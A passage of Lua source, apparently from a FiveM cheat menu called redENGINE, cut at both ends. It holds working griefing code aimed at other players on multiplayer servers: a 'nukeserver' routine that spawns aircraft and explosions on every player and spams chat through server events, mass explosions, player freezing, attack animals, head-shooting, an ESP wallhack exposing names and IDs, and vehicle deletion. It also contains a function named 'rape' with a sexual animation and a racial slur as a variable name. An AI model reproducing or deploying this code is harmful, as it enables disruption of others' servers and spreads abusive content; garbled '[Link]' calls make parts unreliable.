if player == PlayerId() then
return
end

local ped = GetPlayerPed(player)


if DoesEntityExist(ped) then
RequestModel('proc_forest_grass01')
while not HasModelLoaded('proc_forest_grass01') do
[Link](0)
end

CreateObjectNoOffset('proc_forest_grass01', GetEntityCoords(ped), true,


true, false)
end
end

local function runOnAll(func, ...)


local players = GetActivePlayers()
for i = 1, #players do
pcall(func, players[i], ...)
end
end

function rape(player)
[Link](function()
RequestModelSync("a_m_o_acult_01")
RequestAnimDict("rcmpaparazzo_2")
while not HasAnimDictLoaded("rcmpaparazzo_2") do
[Link](0)
end

if IsPedInAnyVehicle(GetPlayerPed(player), true) then


local veh = GetVehiclePedIsIn(GetPlayerPed(player), true)

while not NetworkHasControlOfEntity(veh) do


NetworkRequestControlOfEntity(veh) [Link](0)
end

SetEntityAsMissionEntity(veh, true, true)


DeleteVehicle(veh)
DeleteEntity(veh)
end
count = -0.2
for b = 1, 3 do
local x, y, z = [Link](GetEntityCoords(GetPlayerPed(player),
true))
local bD = CreatePed(4, GetHashKey("a_m_o_acult_01"), x, y, z, 0.0,
true, false)
SetEntityAsMissionEntity(bD, true, true)
AttachEntityToEntity(bD,
GetPlayerPed(player), 4103, 11816, count, 0.00, 0.0, 0.0, 0.0, 0.0,
false, false, false, false, 2, true)
ClearPedTasks(GetPlayerPed(player))
TaskPlayAnim(GetPlayerPed(player), "rcmpaparazzo_2",
"shag_loop_poppy", 2.0, 2.5, -1, 49, 0, 0, 0, 0)
SetPedKeepTask(bD)
TaskPlayAnim(bD, "rcmpaparazzo_2", "shag_loop_a", 2.0, 2.5, -1, 49,
0, 0, 0, 0)
SetEntityInvincible(bD, true) count = count - 0.4
end
end)
end

function teleportToNearestVehicle()
local playerPed = GetPlayerPed(-1)
local playerPedPos = GetEntityCoords(playerPed, true)
local NearestVehicle = GetClosestVehicle(GetEntityCoords(playerPed,
true), 1000.0, 0, 4)
local NearestVehiclePos = GetEntityCoords(NearestVehicle, true)
local NearestPlane = GetClosestVehicle(GetEntityCoords(playerPed,
true), 1000.0, 0, 16384)
local NearestPlanePos = GetEntityCoords(NearestPlane, true)
drawNotification("~y~Wait...")
[Link](1000)
if (NearestVehicle == 0) and (NearestPlane == 0) then
drawNotification("~r~No Vehicle Found")
elseif (NearestVehicle == 0) and (NearestPlane ~= 0) then
if IsVehicleSeatFree(NearestPlane, -1) then
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
else
local driverPed = GetPedInVehicleSeat(NearestPlane, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
end
drawNotification("~g~Teleported Into Nearest Vehicle!")
elseif (NearestVehicle ~= 0) and (NearestPlane == 0) then
if IsVehicleSeatFree(NearestVehicle, -1) then
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
else
local driverPed = GetPedInVehicleSeat(NearestVehicle, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
end
drawNotification("~g~Teleported Into Nearest Vehicle!")
elseif (NearestVehicle ~= 0) and (NearestPlane ~= 0) then
if Vdist(NearestVehiclePos.x, NearestVehiclePos.y,
NearestVehiclePos.z, playerPedPos.x, playerPedPos.y, playerPedPos.z) <
Vdist(NearestPlanePos.x, NearestPlanePos.y, NearestPlanePos.z, playerPedPos.x,
playerPedPos.y, playerPedPos.z) then
if IsVehicleSeatFree(NearestVehicle, -1) then
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
else
local driverPed = GetPedInVehicleSeat(NearestVehicle, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestVehicle, -1)
SetVehicleAlarm(NearestVehicle, false)
SetVehicleDoorsLocked(NearestVehicle, 1)
SetVehicleNeedsToBeHotwired(NearestVehicle, false)
end
elseif Vdist(NearestVehiclePos.x, NearestVehiclePos.y,
NearestVehiclePos.z, playerPedPos.x, playerPedPos.y, playerPedPos.z) >
Vdist(NearestPlanePos.x, NearestPlanePos.y, NearestPlanePos.z, playerPedPos.x,
playerPedPos.y, playerPedPos.z) then
if IsVehicleSeatFree(NearestPlane, -1) then
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
else
local driverPed = GetPedInVehicleSeat(NearestPlane, -1)
ClearPedTasksImmediately(driverPed)
SetEntityAsMissionEntity(driverPed, 1, 1)
DeleteEntity(driverPed)
SetPedIntoVehicle(playerPed, NearestPlane, -1)
SetVehicleAlarm(NearestPlane, false)
SetVehicleDoorsLocked(NearestPlane, 1)
SetVehicleNeedsToBeHotwired(NearestPlane, false)
end
end
drawNotification("~g~Teleported Into Nearest Vehicle!")
end

end

-- Discord presenece
[Link](function()
while Enabled do
if discordPresence then
--This is the Application ID (Replace this with you own)
SetDiscordAppId(612594475021238272)

--Here you will have to put the image name for the "large"
icon.
SetDiscordRichPresenceAsset('red')

--(11-11-2018) New Natives:

--Here you can add hover text for the "large" icon.
SetDiscordRichPresenceAssetText('This is a lage icon with
text')

--Here you will have to put the image name for the "small"
icon.
SetDiscordRichPresenceAssetSmall('logo_name')

--Here you can add hover text for the "small" icon.
SetDiscordRichPresenceAssetSmallText('This is a lsmall icon
with text')

--It updates every one minute just in case.


end
[Link](60000) --10s
end
end)

[Link](function()
local headId = {}
while Enabled do
[Link](1)
if playerBlips then
-- show blips
for id = 0, 128 do
if NetworkIsPlayerActive(id) and GetPlayerPed(id) ~=
GetPlayerPed(-1) then
ped = GetPlayerPed(id)
blip = GetBlipFromEntity(ped)

-- HEAD DISPLAY STUFF --

-- Create head display (this is safe to be spammed)


headId[id] = CreateMpGamerTag(ped, GetPlayerName( id ),
false, false, "", false)
wantedLvl = GetPlayerWantedLevel(id)

-- Wanted level display


if wantedLvl then
SetMpGamerTagVisibility(headId[id], 7, true) -- Add
wanted sprite
SetMpGamerTagWantedLevel(headId[id], wantedLvl) -- Set
wanted number
else
SetMpGamerTagVisibility(headId[id], 7, false)
end

-- Speaking display
if NetworkIsPlayerTalking(id) then
SetMpGamerTagVisibility(headId[id], 9, true) -- Add
speaking sprite
else
SetMpGamerTagVisibility(headId[id], 9, false) -- Remove
speaking sprite
end

-- BLIP STUFF --

if not DoesBlipExist(blip) then -- Add blip and create head


display on player
blip = AddBlipForEntity(ped)
SetBlipSprite(blip, 1)
ShowHeadingIndicatorOnBlip(blip, true) -- Player Blip
indicator
else -- update blip
veh = GetVehiclePedIsIn(ped, false)
blipSprite = GetBlipSprite(blip)
if not GetEntityHealth(ped) then -- dead
if blipSprite ~= 274 then
SetBlipSprite(blip, 274)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif veh then
vehClass = GetVehicleClass(veh)
vehModel = GetEntityModel(veh)
if vehClass == 15 then -- Helicopters
if blipSprite ~= 422 then
SetBlipSprite(blip, 422)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehClass == 8 then -- Motorcycles
if blipSprite ~= 226 then
SetBlipSprite(blip, 226)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehClass == 16 then -- Plane
if vehModel == GetHashKey("besra") or vehModel
== GetHashKey("hydra") or vehModel == GetHashKey("lazer") then -- Jets
if blipSprite ~= 424 then
SetBlipSprite(blip, 424)
ShowHeadingIndicatorOnBlip(blip, false)
-- Player Blip indicator
end
elseif blipSprite ~= 423 then
SetBlipSprite(blip, 423)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehClass == 14 then -- Boat
if blipSprite ~= 427 then
SetBlipSprite(blip, 427)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehModel == GetHashKey("insurgent") or
vehModel == GetHashKey("insurgent2") or vehModel == GetHashKey("insurgent3") then
-- Insurgent, Insurgent Pickup & Insurgent Pickup Custom
if blipSprite ~= 426 then
SetBlipSprite(blip, 426)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehModel == GetHashKey("limo2") then --
Turreted Limo
if blipSprite ~= 460 then
SetBlipSprite(blip, 460)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehModel == GetHashKey("rhino") then -- Tank
if blipSprite ~= 421 then
SetBlipSprite(blip, 421)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehModel == GetHashKey("trash") or vehModel
== GetHashKey("trash2") then -- Trash
if blipSprite ~= 318 then
SetBlipSprite(blip, 318)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehModel == GetHashKey("pbus") then --
Prison Bus
if blipSprite ~= 513 then
SetBlipSprite(blip, 513)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehModel == GetHashKey("seashark") or
vehModel == GetHashKey("seashark2") or vehModel == GetHashKey("seashark3") then --
Speedophiles
if blipSprite ~= 471 then
SetBlipSprite(blip, 471)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehModel == GetHashKey("cargobob") or
vehModel == GetHashKey("cargobob2") or vehModel == GetHashKey("cargobob3") or
vehModel == GetHashKey("cargobob4") then -- Cargobobs
if blipSprite ~= 481 then
SetBlipSprite(blip, 481)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehModel == GetHashKey("technical") or
vehModel == GetHashKey("technical2") or vehModel == GetHashKey("technical3") then
-- Technical
if blipSprite ~= 426 then
SetBlipSprite(blip, 426)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehModel == GetHashKey("taxi") then -- Cab/
Taxi
if blipSprite ~= 198 then
SetBlipSprite(blip, 198)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif vehModel == GetHashKey("fbi") or vehModel ==
GetHashKey("fbi2") or vehModel == GetHashKey("police2") or vehModel ==
GetHashKey("police3") -- Police Vehicles
or vehModel == GetHashKey("police") or vehModel
== GetHashKey("sheriff2") or vehModel == GetHashKey("sheriff")
or vehModel == GetHashKey("policeold2") or
vehModel == GetHashKey("policeold1") then
if blipSprite ~= 56 then
SetBlipSprite(blip, 56)
ShowHeadingIndicatorOnBlip(blip, false) --
Player Blip indicator
end
elseif blipSprite ~= 1 then -- default blip
SetBlipSprite(blip, 1)
ShowHeadingIndicatorOnBlip(blip, true) --
Player Blip indicator
end
-- Show number in case of passangers
passengers = GetVehicleNumberOfPassengers(veh)

if passengers then
if not IsVehicleSeatFree(veh, -1) then
passengers = passengers + 1
end
ShowNumberOnBlip(blip, passengers)
else
HideNumberOnBlip(blip)
end
else
-- Remove leftover number
HideNumberOnBlip(blip)
if blipSprite ~= 1 then -- default blip
SetBlipSprite(blip, 1)
ShowHeadingIndicatorOnBlip(blip, true) --
Player Blip indicator
end
end

SetBlipRotation(blip, [Link](GetEntityHeading(veh)))
-- update rotation
SetBlipNameToPlayerName(blip, id) -- update blip name
SetBlipScale(blip, 0.85) -- set scale

-- set player alpha


if IsPauseMenuActive() then
SetBlipAlpha( blip, 255 )
else
x1, y1 =
[Link](GetEntityCoords(GetPlayerPed(-1), true))
x2, y2 =
[Link](GetEntityCoords(GetPlayerPed(id), true))
distance = ([Link]([Link]([Link]((x1 - x2)
* (x1 - x2) + (y1 - y2) * (y1 - y2))) / -1)) + 900
-- Probably a way easier way to do this but
whatever im an idiot

if distance < 0 then


distance = 0
elseif distance > 255 then
distance = 255
end
SetBlipAlpha(blip, distance)
end
end
end
end
else
for id = 0, 128 do
ped = GetPlayerPed(id)
blip = GetBlipFromEntity(ped)
if DoesBlipExist(blip) then -- Removes blip
RemoveBlip(blip)
end
if [Link]("0x4E929E7A5796FD26", headId[id]) then
RemoveMpGamerTag(headId[id])
end
end
end
end
end)

function ShootPlayer(player)
local head = GetPedBoneCoords(player, GetEntityBoneIndexByName(player,
"SKEL_HEAD"), 0.0, 0.0, 0.0)
SetPedShootsAtCoord(PlayerPedId(), head.x, head.y, head.z, true)
end

function SpawnAnimal(model)
while not HasModelLoaded(model) do
debugPrint("Loading Model...")
RequestModel(model)
[Link](0)
end
for i = 1, 128 do
local coords = GetEntityCoords(GetPlayerPed(i))
local ped = CreatePed(29, model, coords.x, coords.y, coords.z + 1.0, 1,
true, true)
TaskCombatPed(ped,GetPlayerPed(i),0,16)
end
end

function SpawnObjOnPlayer(modelHash)
local coords = GetEntityCoords(GetPlayerPed(SelectedPlayer), true)
local obj CreateObject(modelHash, coords.x, coords.y, coords.z, true, true,
true)
if attachProp then
AttachEntityToEntity(obj ,GetPlayerPed(selectedPlayer),
GetPedBoneIndex(GetPlayerPed(selectedPlayer), 57005), 0.4, 0, 0, 0, 270.0, 60.0,
true ,true ,false, true, 1, true)
end
end

function nukeserver()
[Link](function()
local dg="Avenger"
local dh="CARGOPLANE"
local di="luxor"
local dj="maverick"
local dk="blimp2"

while not HasModelLoaded(GetHashKey(dh))do


[Link](0)
RequestModel(GetHashKey(dh))
end

while not HasModelLoaded(GetHashKey(di))do


[Link](0)RequestModel(GetHashKey(di))
end

while not HasModelLoaded(GetHashKey(dg))do


[Link](0)RequestModel(GetHashKey(dg))
end
while not HasModelLoaded(GetHashKey(dj))do
[Link](0)RequestModel(GetHashKey(dj))
end

while not HasModelLoaded(GetHashKey(dk))do


[Link](0)RequestModel(GetHashKey(dk))
end

for bs=0,9 do
TriggerServerEvent("_chat:messageEntered","redENGINE",
{141,211,255},"redENGINE TAPPED YOU - [Link]
end

for i=0,128 do
local
di=CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))+2.0,true,true) and
CreateVehicle(GetHashKey(dg),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(dg),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and
CreateVehicle(GetHashKey(dh),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(dh),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and
CreateVehicle(GetHashKey(di),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(di),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and
CreateVehicle(GetHashKey(dj),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(dj),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))+2.0,true,true)and
CreateVehicle(GetHashKey(dk),GetEntityCoords(GetPlayerPed(i))+10.0,true,true)and
CreateVehicle(GetHashKey(dk),2*GetEntityCoords(GetPlayerPed(i))+15.0,true,true)and
AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,false,100000.0)and
AddExplosion(GetEntityCoords(GetPlayerPed(i)),5,3000.0,true,false,true)
end
end)
end

function rotDirection(rot)
local radianz = rot.z * 0.0174532924
local radianx = rot.x * 0.0174532924
local num = [Link]([Link](radianx))

local dir = vector3(-[Link](radianz) * num, [Link](radianz) * num,


[Link](radianx))

return dir
end

function GetDistance(pointA, pointB)

local aX = pointA.x
local aY = pointA.y
local aZ = pointA.z

local bX = pointB.x
local bY = pointB.y
local bZ = pointB.z

local xBA = bX - aX
local yBA = bY - aY
local zBA = bZ - aZ

local y2 = yBA * yBA


local x2 = xBA * xBA
local sum2 = y2 + x2

return [Link](sum2 + zBA)


end

function RotToDirection(rot)
local radiansZ = rot.z * 0.0174532924
local radiansX = rot.x * 0.0174532924
local num = [Link]([Link](radiansX))
local dir = vector3(-[Link](radiansZ) * num, [Link](radiansZ * num),
[Link](radiansX))
return dir
end

function add(a, b)
local result = vector3(a.x + b.x, a.y + b.y, a.z + b.z)

return result
end

function multiply(coords, coordz)


local result = vector3(coords.x * coordz, coords.y * coordz, coords.z *
coordz)

return result
end

function SpectatePlayer(player)
local playerPed = PlayerPedId()
Spectating = not Spectating
local targetPed = GetPlayerPed(player)

if (Spectating) then
local targetx, targety, targetz =
[Link](GetEntityCoords(targetPed, false))

RequestCollisionAtCoord(targetx, targety, targetz)


NetworkSetInSpectatorMode(true, targetPed)

drawNotification("Spectating " .. GetPlayerName(player))


else
local targetx, targety, targetz =
[Link](GetEntityCoords(targetPed, false))

RequestCollisionAtCoord(targetx, targety, targetz)


NetworkSetInSpectatorMode(false, targetPed)

drawNotification("Stopped Spectating " .. GetPlayerName(player))


end
end

[Link](
function()
while true do
[Link](0)
DisplayRadar(true)

SetPlayerWantedLevel(PlayerId(), 0, false)

SetPlayerWeaponDamageModifier(PlayerId(), selectedDamage)
SetPlayerMeleeWeaponDamageModifier(PlayerId(), selectedDamage)

SetPlayerInvincible(PlayerId(), GodMode)
SetEntityInvincible(PlayerPedId(), GodMode)

if infStamina then
RestorePlayerStamina(PlayerId(), 1.0)
end

if invisible then
SetEntityVisible(GetPlayerPed(-1), false, 0)
else
SetEntityVisible(GetPlayerPed(-1), true, 0)
end

if freezePlayer then
ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
end

if runtog then
for i = 0, 128 do
if IsPedRunning(GetPlayerPed(i) or
IsPedSprinting(GetPlayerPed(i))) then
ClearPedTasksImmediately(GetPlayerPed(play))
end
end
end

if crosshair then
ShowHudComponentThisFrame(14)
end

if crosshair2 then
ch("~r~+",0.495,0.484)
end

if crosshair3 then
ch("~r~.",0.4968,0.478)
end

if rainbow then
local color = RGBRainbow(1.0)
for i = 0, #allMenus do
[Link](allMenus[i], color.r, color.g,
color.b, 255)
end
for i, dA in pairs(bd) do
[Link]([Link], color.r, color.g, color.b,
255)
end
for i, dA in pairs(be) do
[Link]([Link], color.r, color.g, color.b,
255)
end
end

if animated then
[Link](50)
for i = 0, #allMenus do
[Link](allMenus[i],
"digitaloverlay", "signal1")
end
for i, dA in pairs(bd) do
[Link]([Link],
"digitaloverlay", "signal1")

end
for i, dA in pairs(be) do
[Link]([Link],
"digitaloverlay", "signal1")

end
[Link](50)
for i = 0, #allMenus do
[Link](allMenus[i],
"digitaloverlay", "signal2")
end
for i, dA in pairs(bd) do
[Link]([Link],
"digitaloverlay", "signal2")

end
for i, dA in pairs(be) do
[Link]([Link],
"digitaloverlay", "signal2")

end
[Link](50)
for i = 0, #allMenus do
[Link](allMenus[i],
"digitaloverlay", "signal3")
end
for i, dA in pairs(bd) do
[Link]([Link],
"digitaloverlay", "signal3")

end
for i, dA in pairs(be) do
[Link]([Link],
"digitaloverlay", "signal3")

end
[Link](50)
for i = 0, #allMenus do
[Link](allMenus[i],
"digitaloverlay", "signal4")
end
for i, dA in pairs(bd) do
[Link]([Link],
"digitaloverlay", "signal4")

end
for i, dA in pairs(be) do
[Link]([Link],
"digitaloverlay", "signal4")

end
end

if fall then
for i = 0, 128 do
ClearPedTasksImmediately(GetPlayerPed(i))
end
end

if blowall then
for i = 0, 128 do
local ped = GetPlayerPed(i)
local coords = GetEntityCoords(ped)
AddExplosion(coords.x, coords.y, coords.z, 4, 100.0, false,
true, 0.0, false)
end
end

if sall then
for i = 0, 128 do
local ped = GetPlayerPed(i)
local coords = GetEntityCoords(ped)
local vehiclehash = GetHashKey("savage")
RequestModel(vehiclehash)
CreateVehicle(vehiclehash, coords.x, coords.y, coords.z,
GetEntityHeading(ped), 1, 0)
end
end

local niggerVehicle = GetVehiclePedIsIn(PlayerPedId(), false)


if IsPedInAnyVehicle(PlayerPedId()) then
if driftMode then
SetVehicleGravityAmount(niggerVehicle, 5.0)
elseif not superGrip and not enchancedGrip and not fdMode and
not driftMode then
SetVehicleGravityAmount(niggerVehicle, 10.0)
end

if superGrip then
SetVehicleGravityAmount(niggerVehicle, 20.0)
elseif not superGrip and not enchancedGrip and not fdMode and
not driftMode then
SetVehicleGravityAmount(niggerVehicle, 10.0)
end

if enchancedGrip then
SetVehicleGravityAmount(niggerVehicle, 12.0)
elseif not superGrip and not enchancedGrip and not fdMode and
not driftMode then
SetVehicleGravityAmount(niggerVehicle, 10.0)
end

if fdMode then
SetVehicleGravityAmount(niggerVehicle, 5.5)
SetVehicleEngineTorqueMultiplier(niggerVehicle, 4.0)
elseif not superGrip and not enchancedGrip and not fdMode and
not driftMode then
SetVehicleGravityAmount(niggerVehicle, 10.0)
SetVehicleEngineTorqueMultiplier(niggerVehicle, 1.0)
end

if t2x then

SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),2.0)
end

if t4x then

SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),4.0)
end

if t8x then

SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),8.0)
end

if t16x then

SetVehicleEngineTorqueMultiplier(GetVehiclePedIsIn(GetPlayerPed(-1),false),16.0)
end
end

if Noclip then
local currentSpeed = 2
local noclipEntity =
IsPedInAnyVehicle(PlayerPedId(), false) and
GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
FreezeEntityPosition(PlayerPedId(), true)
SetEntityInvincible(PlayerPedId(), true)

local newPos = GetEntityCoords(entity)

DisableControlAction(0, 32, true) --MoveUpOnly


DisableControlAction(0, 268, true) --MoveUp

DisableControlAction(0, 31, true) --MoveUpDown

DisableControlAction(0, 269, true) --MoveDown


DisableControlAction(0, 33, true) --MoveDownOnly

DisableControlAction(0, 266, true) --MoveLeft


DisableControlAction(0, 34, true) --MoveLeftOnly

DisableControlAction(0, 30, true) --MoveLeftRight

DisableControlAction(0, 267, true) --MoveRight


DisableControlAction(0, 35, true) --MoveRightOnly

DisableControlAction(0, 44, true) --Cover


DisableControlAction(0, 20, true) --MultiplayerInfo

local yoff = 0.0


local zoff = 0.0

if GetInputMode() == "MouseAndKeyboard" then


if IsDisabledControlPressed(0, 32) then
yoff = 0.5
end
if IsDisabledControlPressed(0, 33) then
yoff = -0.5
end
if IsDisabledControlPressed(0, 34) then
SetEntityHeading(PlayerPedId(),
GetEntityHeading(PlayerPedId()) + 3.0)
end
if IsDisabledControlPressed(0, 35) then
SetEntityHeading(PlayerPedId(),
GetEntityHeading(PlayerPedId()) - 3.0)
end
if IsDisabledControlPressed(0, 44) then
zoff = 0.21
end
if IsDisabledControlPressed(0, 20) then
zoff = -0.21
end
end

newPos =
GetOffsetFromEntityInWorldCoords(noclipEntity, 0.0, yoff *
(currentSpeed + 0.3), zoff * (currentSpeed + 0.3))

local heading = GetEntityHeading(noclipEntity)


SetEntityVelocity(noclipEntity, 0.0, 0.0, 0.0)
SetEntityRotation(noclipEntity, 0.0, 0.0, 0.0, 0, false)
SetEntityHeading(noclipEntity, heading)

SetEntityCollision(noclipEntity, false, false)


SetEntityCoordsNoOffset(noclipEntity, newPos.x, newPos.y,
newPos.z, true, true, true)

FreezeEntityPosition(noclipEntity, false)
SetEntityInvincible(noclipEntity, false)
SetEntityCollision(noclipEntity, true, true)
end

if DeleteGun then
local gotEntity = getEntity(PlayerId())
if (IsPedInAnyVehicle(GetPlayerPed(-1), true) == false) then
drawNotification("Aim The Gun At An Entity And Shoot!")
GiveWeaponToPed(GetPlayerPed(-1),
GetHashKey("WEAPON_PISTOL"), 999999, false, true)
SetPedAmmo(GetPlayerPed(-1), GetHashKey("WEAPON_PISTOL"),
999999)
if (GetSelectedPedWeapon(GetPlayerPed(-1)) ==
GetHashKey("WEAPON_PISTOL")) then
if IsPlayerFreeAiming(PlayerId()) then
if IsEntityAPed(gotEntity) then
if IsPedInAnyVehicle(gotEntity, true) then
if IsControlJustReleased(1, 142) then

SetEntityAsMissionEntity(GetVehiclePedIsIn(gotEntity, true), 1, 1)
DeleteEntity(GetVehiclePedIsIn(gotEntity, true))
SetEntityAsMissionEntity(gotEntity, 1,
1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
else
if IsControlJustReleased(1, 142) then
SetEntityAsMissionEntity(gotEntity, 1,
1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
end
else
if IsControlJustReleased(1, 142) then
SetEntityAsMissionEntity(gotEntity, 1, 1)
DeleteEntity(gotEntity)
drawNotification("~g~Deleted!")
end
end
end
end
end
end

if esp then
for i = 0, 128 do
if i ~= PlayerId() and GetPlayerServerId(i) ~= 0 then
local ra = RGBRainbow(1.0)
local pPed = GetPlayerPed(i)
local cx, cy, cz =
[Link](GetEntityCoords(PlayerPedId()))
local x, y, z = [Link](GetEntityCoords(pPed))
local message =
"Name: " ..
GetPlayerName(i) ..
"\nServer ID: " ..
GetPlayerServerId(i) ..
"\nPlayer ID: " .. i .. "\nDist: " ..
[Link](GetDistanceBetweenCoords(cx, cy, cz, x, y, z, true), 1)
if IsPedInAnyVehicle(pPed, true) then
local VehName =
GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(GetVehiclePedIsUsing(pPe
d))))
message = message .. "\nVeh: " .. VehName
end
DrawText3D(x, y, z + 1.0, message, ra.r, ra.g, ra.b)

LineOneBegin = GetOffsetFromEntityInWorldCoords(pPed, -
0.3, -0.3, -0.9)
LineOneEnd = GetOffsetFromEntityInWorldCoords(pPed,
0.3, -0.3, -0.9)
LineTwoBegin = GetOffsetFromEntityInWorldCoords(pPed,
0.3, -0.3, -0.9)
LineTwoEnd = GetOffsetFromEntityInWorldCoords(pPed,
0.3, 0.3, -0.9)
LineThreeBegin = GetOffsetFromEntityInWorldCoords(pPed,
0.3, 0.3, -0.9)
LineThreeEnd = GetOffsetFromEntityInWorldCoords(pPed, -
0.3, 0.3, -0.9)
LineFourBegin = GetOffsetFromEntityInWorldCoords(pPed,
-0.3, -0.3, -0.9)

TLineOneBegin = GetOffsetFromEntityInWorldCoords(pPed,
-0.3, -0.3, 0.8)
TLineOneEnd = GetOffsetFromEntityInWorldCoords(pPed,
0.3, -0.3, 0.8)
TLineTwoBegin = GetOffsetFromEntityInWorldCoords(pPed,
0.3, -0.3, 0.8)
TLineTwoEnd = GetOffsetFromEntityInWorldCoords(pPed,
0.3, 0.3, 0.8)
TLineThreeBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
TLineThreeEnd = GetOffsetFromEntityInWorldCoords(pPed,
-0.3, 0.3, 0.8)
TLineFourBegin = GetOffsetFromEntityInWorldCoords(pPed,
-0.3, -0.3, 0.8)

ConnectorOneBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, 0.8)
ConnectorOneEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, 0.3, -0.9)
ConnectorTwoBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, 0.8)
ConnectorTwoEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, 0.3, -0.9)
ConnectorThreeBegin =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, 0.8)
ConnectorThreeEnd =
GetOffsetFromEntityInWorldCoords(pPed, -0.3, -0.3, -0.9)
ConnectorFourBegin =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, 0.8)
ConnectorFourEnd =
GetOffsetFromEntityInWorldCoords(pPed, 0.3, -0.3, -0.9)

DrawLine(
LineOneBegin.x,
LineOneBegin.y,
LineOneBegin.z,
LineOneEnd.x,
LineOneEnd.y,
LineOneEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
LineTwoBegin.x,
LineTwoBegin.y,
LineTwoBegin.z,
LineTwoEnd.x,
LineTwoEnd.y,
LineTwoEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
LineThreeBegin.x,
LineThreeBegin.y,
LineThreeBegin.z,
LineThreeEnd.x,
LineThreeEnd.y,
LineThreeEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
LineThreeEnd.x,
LineThreeEnd.y,
LineThreeEnd.z,
LineFourBegin.x,
LineFourBegin.y,
LineFourBegin.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineOneBegin.x,
TLineOneBegin.y,
TLineOneBegin.z,
TLineOneEnd.x,
TLineOneEnd.y,
TLineOneEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineTwoBegin.x,
TLineTwoBegin.y,
TLineTwoBegin.z,
TLineTwoEnd.x,
TLineTwoEnd.y,
TLineTwoEnd.z,
ra.r,
ra.g,
ra.b,
255
)
DrawLine(
TLineThreeBegin.x,
TLineThreeBegin.y,
TLineThreeBegin.z,
